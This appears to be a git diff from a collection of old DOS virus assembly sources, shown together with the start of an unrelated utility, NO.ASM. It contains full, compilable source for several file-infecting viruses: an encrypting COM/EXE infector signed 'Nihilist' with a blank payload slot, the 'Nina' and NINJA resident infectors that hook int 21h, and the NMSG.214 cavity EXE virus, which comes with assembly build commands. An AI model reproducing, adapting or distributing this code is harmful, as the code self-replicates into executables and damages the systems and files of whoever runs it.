fixed_2:
pop es bx ax
clc ; clear carry
dir_stealth_done_2:
retf 2
file_open:
push ax cx di es
call get_extension
cmp [di],'OC' ; .COM file?
jne perhaps_exe ; perhaps .EXE then
cmp byte ptr [di + 2],'M'
jne not_prog
jmp a_program
perhaps_exe:
cmp [di],'XE' ; .EXE file?
jne not_prog
cmp byte ptr [di + 2],'E'
jne not_prog
a_program:
pop es di cx ax
jmp execute ; infect file
not_prog:
pop es di cx ax
jmp int_21_exit
execute:
push ax bx cx dx si di ds es
call get_extension ; check filename
cmp es:[di - 3],'DN' ; skip if COMMAND
jne open_file
jmp cant_open
open_file:
xor ax,ax ; critical error handler
mov es,ax ; routine - catch int 24
mov es:[24h * 4],offset int_24
mov es:[24h * 4 + 2],cs
mov ax,4300h ; change attributes
int 21h
push cx dx ds
xor cx,cx
call set_attributes
mov ax,3D02h ; open file
call int_21
jc cant_open
xchg bx,ax
push cs ; CS = DS
pop ds
mov ax,5700h ; save file date/time
int 21h
push cx dx
mov ah,3Fh
mov cx,28
mov dx,offset read_buffer
int 21h
cmp word ptr read_buffer,'ZM' ; .EXE?
je infect_exe ; yes, infect as .EXE
mov al,2 ; move to end of file
call move_file_ptr
cmp dx,65279 - (VIRUS_SIZE + 3)
ja dont_infect ; too big, don't infect
sub dx,VIRUS_SIZE + 3 ; check for previous infection
cmp dx,word ptr read_buffer + 1
je dont_infect
add dx,VIRUS_SIZE + 3
mov word ptr new_jump + 1,dx
add dx,103h
call encrypt_code ; encrypt virus
mov dx,offset read_buffer ; save original program head
int 21h
mov ah,40h ; write virus to file
mov cx,VIRUS_SIZE
mov dx,offset encrypt_buffer
int 21h
xor al,al ; back to beginning of file
call move_file_ptr
mov dx,offset new_jump ; and write new jump
int 21h
fix_date_time:
pop dx cx
and cl,-32 ; add time stamp
or cl,STAMP
mov ax,5701h ; restore file date/time
int 21h
close:
pop ds dx cx ; restore attributes
call set_attributes
mov ah,3Eh ; close file
int 21h
cant_open:
pop es ds di si dx cx bx ax
jmp int_21_exit ; leave
set_attributes:
mov ax,4301h
int 21h
ret
dont_infect:
pop cx dx ; can't infect, skip
jmp close
move_file_ptr:
mov ah,42h ; move file pointer
cwd
xor cx,cx
int 21h
mov dx,ax ; set up registers
mov ah,40h
mov cx,3
ret
infect_exe:
cmp word ptr read_buffer[26],0
jne dont_infect ; overlay, don't infect
cmp word ptr read_buffer[16],MARKER
je dont_infect ; infected already
les ax,dword ptr read_buffer[20]
mov exe_cs,es ; CS
mov exe_ip,ax ; IP
les ax,dword ptr read_buffer[14]
mov exe_ss,ax ; SS
mov exe_sp,es ; SP
mov word ptr read_buffer[16],MARKER
mov ax,4202h ; to end of file
cwd
xor cx,cx
int 21h
push ax dx ; save file size
push bx
mov cl,12 ; calculate offsets for CS
shl dx,cl ; and IP
mov bx,ax
mov cl,4
shr bx,cl
add dx,bx
and ax,15
pop bx
sub dx,word ptr read_buffer[8]
mov word ptr read_buffer[22],dx
mov word ptr read_buffer[20],ax
add dx,100
mov word ptr read_buffer[14],dx
pop dx ax ; calculate prog size
add ax,VIRUS_SIZE + 3
adc dx,0
mov cx,512 ; in pages
div cx ; then save results
inc ax
mov word ptr read_buffer[2],dx
mov word ptr read_buffer[4],ax
mov dx,word ptr read_buffer[20]
call encrypt_code ; encrypt virus
mov ah,40h
mov cx,VIRUS_SIZE + 3
mov dx,offset encrypt_buffer
int 21h
mov ax,4200h ; back to beginning
cwd
xor cx,cx
int 21h
mov ah,40h ; and fix up header
mov cx,28
mov dx,offset read_buffer
int 21h
jmp fix_date_time ; done
courtesy_of db '[BW]',0
signature db '[Nihilist]',0
activate:
; Insert your routine here
ret
get_extension:
push ds ; find extension
pop es
mov di,dx
mov cx,64
mov al,'.'
repnz scasb
ret
encrypt_code:
push ax cx
push dx
xor ah,ah ; get time for random number
int 1Ah
mov cipher,dx ; save encryption key
pop cx
add cx,virus_code - virus_begin
mov code_offset,cx ; save code offset
push cs ; ES = CS
pop es
mov si,offset virus_begin ; move decryption module
mov di,offset encrypt_buffer
mov cx,virus_code - virus_begin
rep movsb
mov cx,VIRUS_SIZE / 2 + 1
encrypt:
lodsw ; encrypt virus code
xor ax,dx
stosw
loop encrypt
pop cx ax
ret
int_24:
mov al,3 ; int 24 handler
iret
new_jump db 0E9h,0,0
virus_end:
VIRUS_SIZE equ virus_end - virus_begin
read_buffer db 28 dup (?) ; read buffer
encrypt_buffer db VIRUS_SIZE dup (?) ; encryption buffer
end_heap:
MEM_SIZE equ end_heap - start
code ends
end start
+154
View File
@@ -0,0 +1,154 @@
.model tiny
.code
org 100h
; Disassembly done by Dark Angel of Phalcon/Skism
; for 40Hex Number 9, Volume 2 Issue 5
start:
push ax
mov ax,9753h ; installation check
int 21h
mov ax,ds
dec ax
mov ds,ax ; ds->program MCB
mov ax,ds:[3] ; get size word
push bx
push es
sub ax,40h ; reserve 40h paragraphs
mov bx,ax
mov ah,4Ah ; Shrink memory allocation
int 21h
mov ah,48h ; Allocate 3Fh paragraphs
mov bx,3Fh ; for the virus
int 21h
mov es,ax ; copy virus to high
xor di,di ; memory
mov si,offset start + 10h ; start at MCB:110h
mov cx,100h ; (same as PSP:100h)
rep movsb
sub ax,10h ; adjust offset as if it
push ax ; originated at 100h
mov ax,offset highentry
push ax
retf
endfile dw 100h ; size of infected COM file
highentry:
mov byte ptr cs:[0F2h],0AAh ; change MCB's owner so the
; memory isn't freed when the
; program terminates
mov ax,3521h ; get int 21h vector
int 21h
mov word ptr cs:oldint21,bx ; save it
mov word ptr cs:oldint21+2,es
push es
pop ds
mov dx,bx
mov ax,2591h ; redirect int 91h to int 21h
int 21h
push cs
pop ds
mov dx,offset int21
mov al,21h ; set int 21h to virus vector
int 21h
pop ds ; ds->original program PSP
pop bx
push ds
pop es
return_COM:
mov di,100h ; restore original
mov si,endfile ; file
add si,di ; adjust for COM starting
mov cx,100h ; offset
rep movsb
pop ax
push ds ; jmp back to original
mov bp,100h ; file (PSP:100)
push bp
retf
exit_install:
pop ax ; pop CS:IP and flags in
pop ax ; order to balance the
pop ax ; stack and then exit the
jmp short return_COM ; infected COM file
int21:
cmp ax,9753h ; installation check?
je exit_install
cmp ax,4B00h ; execute?
jne exitint21 ; nope, quit
push ax ; save registers
push bx
push cx
push dx
push ds
call infect
pop ds ; restore registers
pop dx
pop cx
pop bx
pop ax
exitint21:
db 0eah ; jmp far ptr
oldint21 dd ?
infect:
mov ax,3D02h ; open file read/write
int 91h
jc exit_infect
mov bx,ax
mov cx,100h
push cs
pop ds
mov ah,3Fh ; Read first 100h bytes
mov dx,offset endvirus
int 91h
mov ax,word ptr endvirus
cmp ax,'MZ' ; exit if EXE
je close_exit_infect
cmp ax,'ZM' ; exit if EXE
je close_exit_infect
cmp word ptr endvirus+2,9753h ; exit if already
je close_exit_infect ; infected
mov al,2 ; go to end of file
call move_file_pointer
cmp ax,0FEB0h ; exit if too large
ja close_exit_infect
cmp ax,1F4h ; or too small for
jb close_exit_infect ; infection
mov endfile,ax ; save file size
call write
mov al,0 ; go to start of file
call move_file_pointer
mov dx,100h ; write virus
call write
close_exit_infect:
mov ah,3Eh ; Close file
int 91h
exit_infect:
retn
move_file_pointer:
push dx
xor cx,cx
xor dx,dx
mov ah,42h
int 91h
pop dx
retn
write:
mov ah,40h
mov cx,100h
int 91h
retn
db ' Nina '
endvirus:
int 20h ; original COM file
end start
@@ -0,0 +1,530 @@
;NINJA virus v1.1 _sandoz_
;I dont believe that NINJA scans, it was developed from Soviet block virus
;code that was aquired late in 1988. For this reason some features are missing
;such as original encryption, which really wont be missed. However some features
;are rather unique. used were System Violator's Virus Mutator and some luck.
;an oldie but interesting.
cseg segment
assume cs:cseg, ds:cseg, es:cseg, ss:cseg
org 100h
l_0100: mov bx,offset l_0146 ;0100.BB 0146
jmp bx ;Register jump ;0103 FF E3
;-------victim code----------------------------------------------
; ...
org 0146h
;=======virus code begin=========================================
; in resident virus this code begins at 9000h:0A000h
;----------------------------------------------------------------
l_0146: push ds ;<- Entry into virus ;0146 1E
push es ;0147 06
push ax ;0148 50
NOP
push ds ;<-victim code restore ;0149 1E
pop es ;014A 07
mov si,bx ;offset wejscia w wirusa;014B 8B F3
add si,02D3h ;(419)changed code saved;014D.81 C6 02D3
mov di,0100h ;changed code address ;0151.BF 0100
mov cx,5 ;length of change ;0154 B9 0005
rep movsb ;0157 F3/ A4
push ds ;0159 1E
xor ax,ax ;<- get int 8 ;015A 31 C0
push ax ;015C 50
pop ds ;015D 1F
mov si,20h ;int 8h ;015E.BE 0020
mov di,bx ;0161 8B FB
add di,0E6h ;(022Ch)=old int 8 ;0163.81 C7 00E6
mov cx,4 ;0167 B9 0004
rep movsb ;016A F3/ A4
mov ax,bx ;016C 8B C3
add ax,57h ;(019Dh)=continuat. adr.;016E 05 0057
call s_0193 ;0171 E8 001F
pop ds ;0174 1F
l_0175: jmp short l_0175 ;int 8 waiting loop ;0175 EB FE
;<----- return after int 8 service-------------------------------
l_0177: cli ;<- int 8 vector restore;0177 FA
xor ax,ax ;0178 31 C0
mov es,ax ;017A 8E C0
mov di,0020h ;017C.BF 20 00
mov si,bx ;017F 8B F3
add si,0E9h ;(022Ch) ;0181.81 C6 E6 00
mov cx,4 ;0185 B9 04 00
repz movsb ;0188 F3 / A4
sti ;018A FB
NOP
pop ax ;<- run victim programm ;018B 58
pop es ;018C 07
pop ds ;018D 1F
mov bx,0100h ;execution begin address;018E.BB 00 01
jmp bx ;0191 FF E3
;<----- "get int 8" routine -------------------------------------
s_0193 proc near
cli ; Disable interrupts ;0193 FA
mov ds:[20h],ax ;0194 A3 0020
mov ds:[22h],es ;0197 8C 06 0022
sti ; Enable interrupts ;019B FB
retn ;019C C3
s_0193 endp
;<----- code executed after interrupt int 8----------------------
l_019D: pushf ;019D 9C
push ax ;019E 50
push bx ;019F 53
push cx ;01A0 51
push dx ;01A1 52
push si ;01A2 56
push di ;01A3 57
push es ;01A4 06
push ds ;01A5 1E
push bp ;01A6 55
mov bp,sp ;01A7 8B EC
mov ax,bx ;base to virus code ;01A9 8B C3
add ax,2Fh ;(175h) ;01AB 05 002F
cmp ss:[bp+14h],ax ;interrupted code CS seg;01AE 36 39 46 14
jnz l_0220 ;-> we must wait again ;01B2 75 6C
l_01B4: add word ptr ss:[BP+14],3 ;chng ret addr to l_0177;01B4 36 83 46 14 03
;<- restore int 8 vector
push ds ;02B9 1E
xor ax,ax ;01BA 31 C0
push ax ;01BC 50
POP DS ;01BD 1F
CLI ;01BE FA
MOV AX,cs:[BX+00E6h] ;(022Ch) old int 8 vect ;01BF 2E 8B 87 E6 00
MOV ds:[20h],AX ;01C4 A3 20 00
MOV AX,cs:[BX+00E8h] ;01C7 2E 8B 87 E8 00
MOV ds:[22h],AX ;01CC A3 22 00
POP DS ;01CF 1F
MOV AX,9000h ;memory last 64KB ;01D0 B8 00 90
MOV ES,AX ;01D3 8E C0
MOV SI,BX ;virus code begin ;01D5 8B F3
MOV DI,0A000h ;the last 24KB of mem ;01D7 BF 00 A0
MOV AL,es:[DI] ;01DA 26 8A 05
CMP AL,1Eh ;allready installed ? ;01DD 3C 1E
JZ l_0220 ;-> yes, end of job ;01DF 74 3F
MOV CX,02FBh ;virus code length ;01E1 B9 FB 02
REPZ MOVSB ;copy virus code ;01E4 F3 / A4
;<- Make link to DOS
CALL s_0230 ;first DOS version ;01E6 E8 47 00
JZ l_0220 ;-> O.K. ;01E9 74 35
CALL s_027D ;Second DOS version ;01EB E8 8F 00
JZ l_0220 ;-> O.K. ;01EE 74 30
CALL s_02CA ;third DOS version ;01F0 E8 D7 00
JZ l_0220 ;-> O.K. ;01F3 74 2B
;<- Unknown DOS version, BRUTE installation
MOV AX,9000h ;01F5 B8 00 90
PUSH AX ;01F8 50
POP ES ;01F9 07
XOR AX,AX ;01FA 31 C0
PUSH AX ;01FC 50
POP DS ;01FD 1F
MOV AX,ds:[84h] ;01FE A1 84 00
MOV es:[0A1DFh],AX ;(0325) ;0201 26 A3 DF A1
MOV es:[0A2CEh],AX ;(0414) ;0205 26 A3 CE A2
MOV AX,ds:[86h] ;0209 A1 86 00
MOV es:[0A1E1h],AX ;(0327) ;020C 26 A3 E1 A1
MOV es:[0A2D0h],AX ;(0416) ;0210 26 A3 D0 A2
MOV AX,0A1D1h ;(0317) new int 21h hndl;0214 B8 D1 A1
MOV ds:[84h],AX ;int 21h ;0217 A3 84 00
MOV AX,9000h ;resident virus segment ;021A B8 00 90
MOV ds:[86h],AX ;021D A3 86 00
l_0220: pop bp ;0220 5D
pop ds ;0221 1F
pop es ;0221 07
pop di ;0222 5F
pop si ;0223 5E
pop dx ;0224 5A
pop cx ;0226 59
pop bx ;0227 5B
pop ax ;0228 58
popf ;0229 9D
sti ;022A FB
db 0EAh ;022B EA
r_00E6 db 0ABh,00h,0C2h,0Bh ;022C AB 00 C2 0B
; jmp 0BC2:00AB ;-> oryginal int 8
;================================================================
; Make link to DOS - first DOS version
;----------------------------------------------------------------
s_0230: PUSH DS ;0230 1E
PUSH ES ;0231 06
XOR AX,AX ;<- check possibility ;0232 31 C0
PUSH AX ;0234 50
POP DS ;0235 1F
MOV AX,ds:[86h] ;oryginal int 21h seg ;0236 A1 86 00
PUSH AX ;0239 50
POP DS ;023A 1F
MOV BX,0100h ;023B BB 00 01
CMP BYTE PTR [BX],0E9h ;023E 80 3F E9
JNZ l_027A ;-> unknown system ;0241 75 37
INC BX ;0243 43
CMP BYTE PTR [BX],53h ;0244 80 3F 53
JNZ l_027A ;-> unknown system ;0247 75 31
INC BX ;0249 43
CMP BYTE PTR [BX],22h ;024A 80 3F 22
JNZ l_027A ;-> unknown system ;024D 75 2B
;<- make link to DOS
MOV AX,9000h ;024F B8 00 90
MOV ES,AX ;0252 8E C0
MOV SI,1223h ;0254 BE 23 12
MOV DI,0A2CEh ;(0414) ;0257 BF CE A2
MOV CX,4 ;025A B9 04 00
REPZ MOVSB ;025D F3 / A4
MOV SI,1223h ;025F BE 23 12
MOV DI,0A1DFh ;(0325) ;0262 BF DF A1
MOV CX,4 ;0265 B9 04 00
REPZ MOVSB ;0268 F3 / A4
MOV AX,0A1D1h ;(0317)=new int 21h hndl;026A B8 D1 A1
MOV ds:[1223h],AX ;026D A3 23 12
MOV AX,9000h ;0270 B8 00 90
MOV ds:[1225h],AX ;0273 A3 25 12
XOR AX,AX ;0276 31 C0
CMP AL,AH ;0278 38 E0
l_027A: pop es ;027A 07
pop ds ;027B 1F
retn ;027C C3
;================================================================
; Make link to DOS - second DOS version
;----------------------------------------------------------------
s_027D: push ds ;027D 1E
push es ;027E 06
xor ax,ax ;<- check possibility ;027F 31 C0
push ax ;0281 50
pop ds ;0282 1F
mov ax,ds:[86h] ;oryginal int 21h seg ;0283 A1 0086
push ax ;0286 50
pop ds ;0287 1F
mov bx,0100h ;0288 .BB 0100
cmp byte ptr [bx],0E9h ;028B 80 3F E9
jne l_02C7 ;-> unknown system ;028E 75 37
inc bx ;0290 43
cmp byte ptr [bx],0CAh ;0291 80 3F CA
jne l_02C7 ;-> unknown system ;0294 75 31
inc bx ;0296 43
cmp byte ptr [bx],13h ;0297 80 3F 13
jne l_02C7 ;-> unknown system ;029A 75 2B
;<- make link to DOS
mov ax,9000h ;029C B8 9000
mov es,ax ;029F 8E C0
mov si,011Dh ;02A1 .BE 011D
mov di,0A2CEh ;(0414) ;02A4 .BF A2CE
mov cx,4 ;02A7 B9 0004
rep movsb ;02AA F3/ A4
mov si,011Dh ;02AC .BE 011D
mov di,0A1DFh ;(0325) ;02AF .BF A1DF
mov cx,4 ;02B2 B9 0004
rep movsb ;02B5 F3/ A4
mov ax,0A1D1h ;(0317)=new int 21h hndl;02B7 B8 A1D1
mov ds:[011Dh],ax ;02BA A3 011D
mov ax,9000h ;02BD B8 9000
mov ds:[011Fh],ax ;02C0 A3 011F
xor ax,ax ;02C3 31 C0
cmp al,ah ;02C5 38 E0
l_02C7: pop es ;02C7 07
pop ds ;02C8 1F
retn ;02C9 C3
;===============================================================
; Make link to DOS - third DOS version
;---------------------------------------------------------------
s_02CA: push ds ;02CA 1E
push es ;02CB 06
xor ax,ax ;<- check possibility ;02CC 31 C0
push ax ;02CE 50
pop ds ;02CF 1F
mov ax,ds:[86h] ;oryginal int 21h seg ;02D0 A1 0086
push ax ;02D3 50
pop ds ;02D4 1F
mov bx,100h ;02D5 .BB 0100
cmp byte ptr [bx],0E9h ;02D8 80 3F E9
jne l_0314 ;-> unknown system ;02DB 75 37
inc bx ;02DD 43
cmp byte ptr [bx],15h ;02DE 80 3F 15
jne l_0314 ;-> unknown system ;02E1 75 31
inc bx ;02E3 43
cmp byte ptr [bx],5 ;02E4 80 3F 05
jne l_0314 ;-> unknown system ;02E7 75 2B
;<- make link to DOS
mov ax,9000h ;02E9 B8 9000
mov es,ax ;02EC 8E C0
mov si,0040Fh ;02EE .BE 040F
mov di,0A2CEh ;(0414) ;02F1 .BF A2CE
mov cx,4 ;02F4 B9 0004
rep movsb ;02F7 F3/ A4
mov si,0040Fh ;02F9 .BE 040F
mov di,0A1DFh ;(0325) ;02FC .BF A1DF
mov cx,4 ;02FF B9 0004
rep movsb ;0302 F3/ A4
mov ax,0A1D1h ;(0317)=new int 21h hndl;0304 B8 A1D1
mov ds:[040Fh],ax ;0307 A3 040F
mov ax,9000h ;030A B8 9000
mov ds:[0411h],ax ;030D A3 0411
xor ax,ax ;0310 31 C0
cmp al,ah ;0312 38 E0
l_0314: pop es ;0314 07
pop ds ;0315 1F
retn ;0316 C3
;==========================================================================
; New int 21h handling subroutine
;--------------------------------------------------------------------------
T_A1D1: cmp ah,3Dh ;open file ? ;0317 80 FC 3D
je l_0321 ;-> Yes ;031A 74 05
cmp ah,4Bh ;load&execute/load ovl ?;031C 80 FC 4B
jne l_0324 ;-> No ;031F 75 03
l_0321: call s_0329 ;-> infect file ;0321 E8 0005
l_0324: db 0EAh ;<- oryginal int 21h ;0324 EA
d_A1DF dw 1460h,0273h ;old int 21h ;0325 60 14 73 02
; jmp far ptr 0273:1460
;==========================================================================
; Infecting subroutine
;--------------------------------------------------------------------------
s_0329 proc near
push ax ;0329 50
push bx ;032A 53
push cx ;032B 51
push dx ;032C 52
push ds ;032D 1E
push di ;032E 57
push si ;032F 56
push es ;0330 06
push ds ;0331 1E
push es ;0332 06
NOP
xor ax,ax ;<- get int 24h ;0333 31 C0
push ax ;0335 50
pop ds ;0336 1F
push cs ;0337 0E
pop es ;0338 07
mov si,90h ;int 24h vector ;0339 .BE 0090
mov di,0A2E0h ;(0426)-old vector safes;033C .BF A2E0
mov cx,4 ;double word ;033F B9 0004
rep movsb ;0342 F3/ A4
mov ax,0A2C9h ;(040F)=new int 24h ;0344 B8 A2C9
mov ds:[90h],ax ;0347 A3 0090
mov ds:[92h],cs ;034A 8C 0E 0092
NOP
pop es ;034E 07
pop ds ;034F 1F
mov di,dx ;file path ;0350 8B FA
push ds ;0352 1E
pop es ;0353 07
mov cx,40h ;find dot ;0354 B9 0040
mov al,2Eh ;0357 B0 2E
repne scasb ;0359 F2/ AE
cmp cx,0 ;035B 83 F9 00
jne l_0363 ;035E 75 03
jmp l_0406 ;-> no file extension ;0360 E9 00A3
l_0363: push cs ;0363 0E
pop es ;0364 07
mov si,di ;0365 8B F7
mov di,0A2DDh ;(0423)='COM' ;0367 .BF A2DD
mov cx,3 ;036A B9 0003
repe cmpsb ;036D F3/ A6
cmp cx,0 ;036F 83 F9 00
je l_0377 ;0372 74 03
jmp l_0406 ;-> it isn't *.COM ;0374 E9 008F
;<- *.COM file infection
l_0377: mov ax,4300h ;Get file attributes ;0377 B8 4300
call s_0412 ;int 21h call ;037A E8 0095
mov ds:[0A2E4h],cx ;(042A) ;037D 89 0E A2E4
and cx,0FFFEh ;no R/O ;0381 81 E1 FFFE
mov ax,4301h ;Set file attributes ;0385 B8 4301
call s_0412 ;int 21h call ;0388 E8 0087
mov ah,3Dh ;Open File ;038B B4 3D
mov al,2 ;R/W access ;038D B0 02
call s_0412 ;int 21h call ;038F E8 0080
jc l_0406 ;-> Opening Error ;0392 72 72
push cs ;0394 0E
pop ds ;0395 1F
mov bx,ax ;file handle ;0396 8B D8
mov dx,0A2D3h ;(0419) = file buffer ;0398 BA A2D3
mov cx,5 ;bytes count ;039B B9 0005
mov ah,3Fh ;read file ;039E B4 3F
call s_0412 ;int 21h call ;03A0 E8 006F
mov ah,0BBh ;allready infected ? ;03A3 B4 BB
cmp ah,ds:[0A2D3h] ;(0419) ;03A5 3A 26 A2D3
je l_03E2 ;-> yes, close file ;03A9 74 37
xor cx,cx ;03AB 31 C9
xor dx,dx ;03AD 31 D2
mov ah,42h ;Move file ptr ;03AF B4 42
mov al,2 ;EOF + offset ;03B1 B0 02
call s_0412 ;int 21h call ;03B3 E8 005C
cmp ax,0FA00h ;file size =<64000 ;03B6 3D FA00
ja l_03E2 ;-> above, close file ;03B9 77 27
add ax,100h ;PSP length ;03BB 05 0100
mov ds:[0A2D9h],ax ;(041F) - vir.begin addr;03BE A3 A2D9
mov ah,40h ;Write file ;03C1 B4 40
mov dx,0A000h ;address of buffer ;03C3 BA A000
mov cx,2FBh ;bytes count ;03C6 B9 02FB
call s_0412 ;int 21h call ;03C9 E8 0046
xor cx,cx ;03CC 31 C9
xor dx,dx ;03CE 31 D2
mov ah,42h ;Move file ptr ;03D0 B4 42
mov al,0 ;BOF + offset ;03D2 B0 00
call s_0412 ;int 21h call ;03D4 E8 003B
mov ah,40h ;Write file ;03D7 B4 40
mov dx,0A2D8h ;(041E)=BOF virus code ;03D9 BA A2D8
mov cx,5 ;code length ;03DC B9 0005
call s_0412 ;int 21h call ;03DF E8 0030
l_03E2: mov ah,3Eh ;close file ;03E2 B4 3E
call s_0412 ;int 21h call ;03E4 E8 002B
mov cx,ds:[0A2E4h] ;(042A) - old atribute ;03E7 8B 0E A2E4
mov ax,4301h ;set file attributes ;03EB B8 4301
call s_0412 ;int 21h call ;03EE E8 0021
push ds ;03F1 1E
push es ;03F2 06
xor ax,ax ;restore int 24h vector ;03F3 31 C0
push ax ;03F5 50
pop es ;03F6 07
push cs ;03F7 0E
pop ds ;03F8 1F
mov di,90h ;int 24h vector ;03F9 .BF 0090
mov si,0A2E0h ;(0426) - old int 24h ;03FC .BE A2E0
mov cx,4 ;double word ;03FF B9 0004
rep movsb ;0402 F3/ A4
pop es ;0404 07
pop ds ;0405 1F
l_0406: pop es ;<- EXIT ;0406 07
pop si ;0407 5E
pop di ;0408 5F
pop ds ;0409 1F
pop dx ;040A 5A
pop cx ;040B 59
pop bx ;040C 5B
pop ax ;040D 58
retn ;040E C3
s_0329 endp
;================================================================
; int 24h handling routine (only infection time)
;----------------------------------------------------------------
T_A2C9: mov al,0 ;ignore critical error ;040F B0 00
iret ;0411 CF
;================================================================
; hidden int 21h call
;----------------------------------------------------------------
s_0412 proc near
pushf ;0412 9C
db 9Ah ;0413 9A
d_A2CE dw 1460h,0273h ;old int 21h ;0414 60 14 73 02
;call far ptr 0273:1460
retn ;0418 C3
s_0412 endp
;<----- oryginal BOF code
d_A2D3 db 31h,0Dh,0Ah,32h,0Dh ;0419 31 0D 0A 32 0D
;<----- wirus BOF code
d_A2D8 db 0BBh ;041E BB
d_A2D9 dw 0146h ;virus begin address ;041F 46 01
dw 0E3FFh ;0421 FF E3
;<----- work bytes
d_A2DD db 'COM' ;file extension pattern ;0423 43 4F 4D
d_A2E0 dw 0556h,1232h ;old int 24h vector ;0426 56 05 32 12
d_A2E4 dw 0 ;file attributes ;042A 00 00
;<----- just my way of sayin' howdy
db '-=NINJA=- <sandoz 1993>' ;042C 50 43 2D 46 4C 55
; 20 62 79 20 57 49
; 5A 41 52 44 20 31
; 39 39 31
cseg ends
end l_0100

@@ -0,0 +1,174 @@
comment *
NMSG.214 ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
Disassembly by ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
Darkman/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
NMSG.214 is a runtime/direct action cavity EXE virus. Infects one file in
current directory, by searching for an area of Microsoft C error messages
and overwriting that area with the virus.
I would like to thank VirusBuster/29A for providing me with the binary of
this virus.
To compile NMSG.214 with Turbo Assembler v 5.0 type:
TASM /M NMSG_214.ASM
TLINK /x NMSG_214.OBJ
*
.model tiny
.code
.186
code_begin:
call delta_offset
virus_begin:
initial_csip:
initial_ip dw 00h ; Initial IP
initial_cs dw 0fff0h ; Initial CS relative to start of ...
file_specifi db '*.exe',00h ; File specification
string_begin:
scan_string db '<<NMSG>>'
string_end:
delta_offset:
pop bp ; Load BP from stack
push ds es ; Save segments at stack
mov ax,ss ; AX = stack segment
add ah,10h ; AX = segment of buffer
mov bx,ds:[02h] ; BX = segment of first byte beyon...
sub bx,ax ; Subtract stack segment from segm...
cmp bh,10h ; Insufficient memory?
jb virus_exit ; Below? Jump to virus_exit
mov es,ax ; ES = segment of buffer
xor dx,dx ; DX = offset of Disk Transfer Ar...
push ss ; Save SS at stack
pop ds ; Load DS from stack (SS)
mov ah,1ah ; Set Disk Transfer Area address
int 21h
mov ah,4eh ; Find first matching file (DTA)
xor cx,cx ; CX = file attribute mask
lea dx,[bp+(file_specifi-virus_begin)]
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
int 21h
jc virus_exit ; Error? Jump to virus_exit
examine_file:
mov ax,ss:[1ch] ; AX = high-order word of file size
or ax,ax ; Filesize too large?
jnz find_next ; Not zero? Jump to find_next
clc ; Clear carry flag
call read_file
jc find_next ; Error? Jump to find_next
shl word ptr ds:[0ch],01h
jp find_next ; Too much addition... Jump to find_next
cld ; Clear direction flag
lea si,[bp+(scan_string-virus_begin)]
xor di,di ; Zero DI
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
compare_loop:
pusha ; Save all registers at stack
mov cx,(string_end-string_begin)
rep cmpsb ; Microsoft C error messages?
popa ; Load all registers from stack
je infect_file ; Equal? Jump to infect_file
inc di ; Increase index register
loop compare_loop
find_next:
mov ah,4fh ; Find next matching file (DTA)
int 21h
jnc examine_file ; No error? Jump to examine_file
int 17h
virus_exit:
pop es ds ; Load segments from stack
mov dx, 80h ; DX = offset of default Disk tran...
mov ah,1ah ; Set Disk Transfer Area address
int 21h
mov ax,cs ; AX = code segment
add cs:[bp+(initial_cs-virus_begin)],ax
jmp dword ptr cs:[bp+(initial_csip-virus_begin)]
infect_file:
mov bx,di ; BX = offset of virus within file
lea si,[bp+(code_begin-virus_begin)]
mov cx,(code_end-code_begin)
rep movsb ; Move virus to Microsoft C error ...
push es ; Save ES at stack
pop ds ; Load DS from stack (ES)
mov si,14h ; SI = offset of initial IP
lea di,[bx+(initial_csip-code_begin)]
push si ; Save SI at stack
movsw ; Store initial IP
movsw ; Store initial CS relative to sta...
pop si ; Load SI from stack
mov [si+02h],cx ; Store initial CS relative to sta...
mov ax,ds:[08h] ; AX = header size in paragraphs
mov cl,04h ; Multiply header size in paragrap...
shl ax,cl ; AX = header size
sub bx,ax ; Subtract header size from initia...
mov [si],bx ; Store initial IP
stc ; Set carry flag
call write_file
jmp virus_exit
read_file proc near ; Read from file
write_file proc near ; Write to file
pushf ; Save flags at stack
mov ax,3d00h ; Open file (read); Create or trun...
sbb ah,al ; " " " " " "
xor cx,cx ; CX = file attributes
mov dx,1eh ; DX = offset of filename
push ss ; Save SS at stack
pop ds ; Load DS from stack (SS)
int 21h
mov bx,ax ; BX = file handle
pop ax ; Load AX from stack (flags)
jc error ; Error? Jump to error
mov cx,ds:[1ah] ; CX = low-order word of file size
push es ; Save ES at stack
pop ds ; Load DS from stack (ES)
xor dx,dx ; Zero DX
mov ah,al ; AH = low-order byte of flags
sahf ; Store register AH into flags
mov ah,3fh ; Read from file; Write to file
adc ah,dl ; " " " " " "
int 21h
mov ah,3eh ; Close file
int 21h
error:
ret ; Return
endp
endp
code_end:
end code_begin
+312
View File
@@ -0,0 +1,312 @@
; NO.ASM -- Hides specified files from command that follows
; ======
CSEG Segment
Assume CS:CSEG, DS:CSEG, ES:CSEG, SS:CSEG
Org 002Ch
Environment Label Word ; Segment of Environment is here
Org 0080h
Parameter Label Byte ; Parameter is here
Org 0100h
Entry: Jmp Begin ; Entry Point
; Most Data (some more at end of program)
; ---------------------------------------
db "Copyright 1986 Ziff-Davis Publishing Co.",1Ah
db " Programmed by Charles Petzold ",1Ah
SyntaxMsg db "Syntax: NO filespec command [parameters]$"
DosVersMsg db "NO: Needs DOS 2.0 +$"
FileSpecMsg db "NO: Incorrect File Spec$"
TooManyMsg db "NO: Too many files to hide$"
MemAllocMsg db "NO: Allocation Problem$"
CommandMsg db "NO: COMMAND Problem$"
Delimiters db 9,' ,;='
FileList dw ? ; Storage of found files
FileCount dw 0 ; Count of found files
FileListEnd dw ? ; End of storage of found files
BreakState db ? ; Store original break state here
Comspec db 'COMSPEC=' ; String for Environment search
ParamBlock dw ? ; Parameter block for EXEC call
dw ?, ?
dw 5Ch, ?
dw 6Ch, ?
StackPointer dw ? ; Save SP during EXEC call
; Check DOS Version
; -----------------
Begin: Mov AH, 30h ; Check for DOS Version
Int 21h ; through DOS call
Cmp AL, 2 ; See if it's 2.0 or above
Jae DosVersOK ; If so, continue
Mov DX, Offset DosVersMsg ; Error message
ErrorExit: Mov AH, 9 ; Print String function call
Int 21h ; Do it
Int 20h ; And exit prematurely
; Parse Command Line to get NO File specification
; -----------------------------------------------
